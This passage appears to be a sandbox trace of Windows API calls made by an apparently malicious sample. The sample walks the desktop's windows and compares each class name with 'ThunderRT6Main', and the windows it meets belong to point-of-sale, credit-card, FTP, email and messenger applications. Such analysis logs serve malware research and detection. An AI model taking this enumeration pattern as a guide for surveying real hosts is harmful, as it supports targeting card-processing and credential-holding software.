lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.549] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0082.549] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0082.549] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0082.549] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.549] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0082.549] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.549] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.549] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0082.549] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0082.549] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0082.549] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0082.549] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0082.549] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0082.549] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0082.550] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0082.550] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0082.550] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0082.550] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.550] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.550] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0082.550] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0082.550] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0082.550] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0082.550] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0082.550] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0082.550] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.550] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.550] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0082.550] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0082.550] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0082.550] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0082.550] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0082.550] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0082.550] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.550] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.550] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0082.550] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0082.550] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0082.550] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0082.550] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0082.550] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0082.551] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.551] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.551] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0082.551] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0082.551] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0082.551] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0082.551] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0082.551] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0082.551] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.551] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.551] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0082.551] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0082.551] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0082.551] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0082.551] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0082.551] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0082.551] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.551] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.551] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0082.551] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0082.551] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0082.551] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0082.551] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0082.551] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0082.551] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.551] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.551] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0082.552] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0082.552] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0082.552] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0082.552] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0082.552] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0082.552] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.552] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.552] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0082.552] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0082.552] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0082.552] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0082.552] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0082.552] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0082.552] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.552] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.552] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0082.552] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0082.552] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0082.552] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0082.552] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0082.552] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0082.552] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.552] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.552] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0082.552] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0082.552] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0082.553] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0082.553] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0082.553] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0082.553] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.553] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.553] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0082.553] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0082.553] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0082.553] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0082.553] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0082.553] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0082.553] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.553] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.553] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0082.553] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0082.553] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0082.553] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0082.553] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0082.553] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0082.553] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.553] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.553] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0082.553] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0082.553] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0082.553] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0082.553] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0082.554] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0082.554] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.554] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.554] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0082.554] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0082.554] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0082.554] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0082.554] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0082.554] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0082.554] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.554] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.554] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0082.554] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0082.554] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0082.554] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0082.554] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0082.554] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0082.554] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.554] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.554] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0082.554] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0082.554] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0082.554] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0082.554] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0082.554] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0082.555] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.555] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.555] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0082.555] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0082.555] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0082.555] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0082.555] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0082.555] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0082.555] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.555] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.555] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0082.555] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0082.555] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0082.555] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0082.555] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0082.555] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0082.555] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.555] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.555] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0082.555] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0082.555] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0082.555] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0082.555] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0082.555] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0082.555] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.556] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.556] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0082.556] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0082.556] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0082.556] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0082.556] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0082.556] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0082.556] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.556] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.556] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0082.556] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0082.556] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0082.556] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0082.556] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0082.556] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0082.556] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.556] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.556] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0082.556] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0082.556] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0082.556] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0082.556] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0082.556] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0082.556] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.556] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.557] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0082.557] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0082.557] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0082.557] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0082.557] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0082.557] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0082.557] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.557] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.557] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0082.557] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0082.557] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0082.557] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0082.557] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0082.557] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0082.557] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.557] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.557] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0082.557] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0082.557] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0082.557] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0082.557] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0082.557] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0082.557] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.557] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.557] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0082.558] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0082.558] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0082.558] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0082.558] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0082.558] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0082.558] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.558] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.558] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0082.558] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0082.558] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0082.558] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0082.558] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0082.558] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0082.558] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.558] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.558] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0082.558] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0082.558] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0082.558] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0082.558] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0082.558] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0082.558] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.558] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.558] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0082.558] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0082.558] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0082.559] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0082.559] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0082.559] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0082.559] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.559] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.559] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0082.559] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0082.559] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0082.559] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0082.559] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0082.559] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0082.559] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.559] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.559] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0082.559] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0082.559] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0082.559] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0082.559] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0082.559] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0082.559] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.559] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.559] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0082.559] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0082.559] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0082.559] lstrcmpA 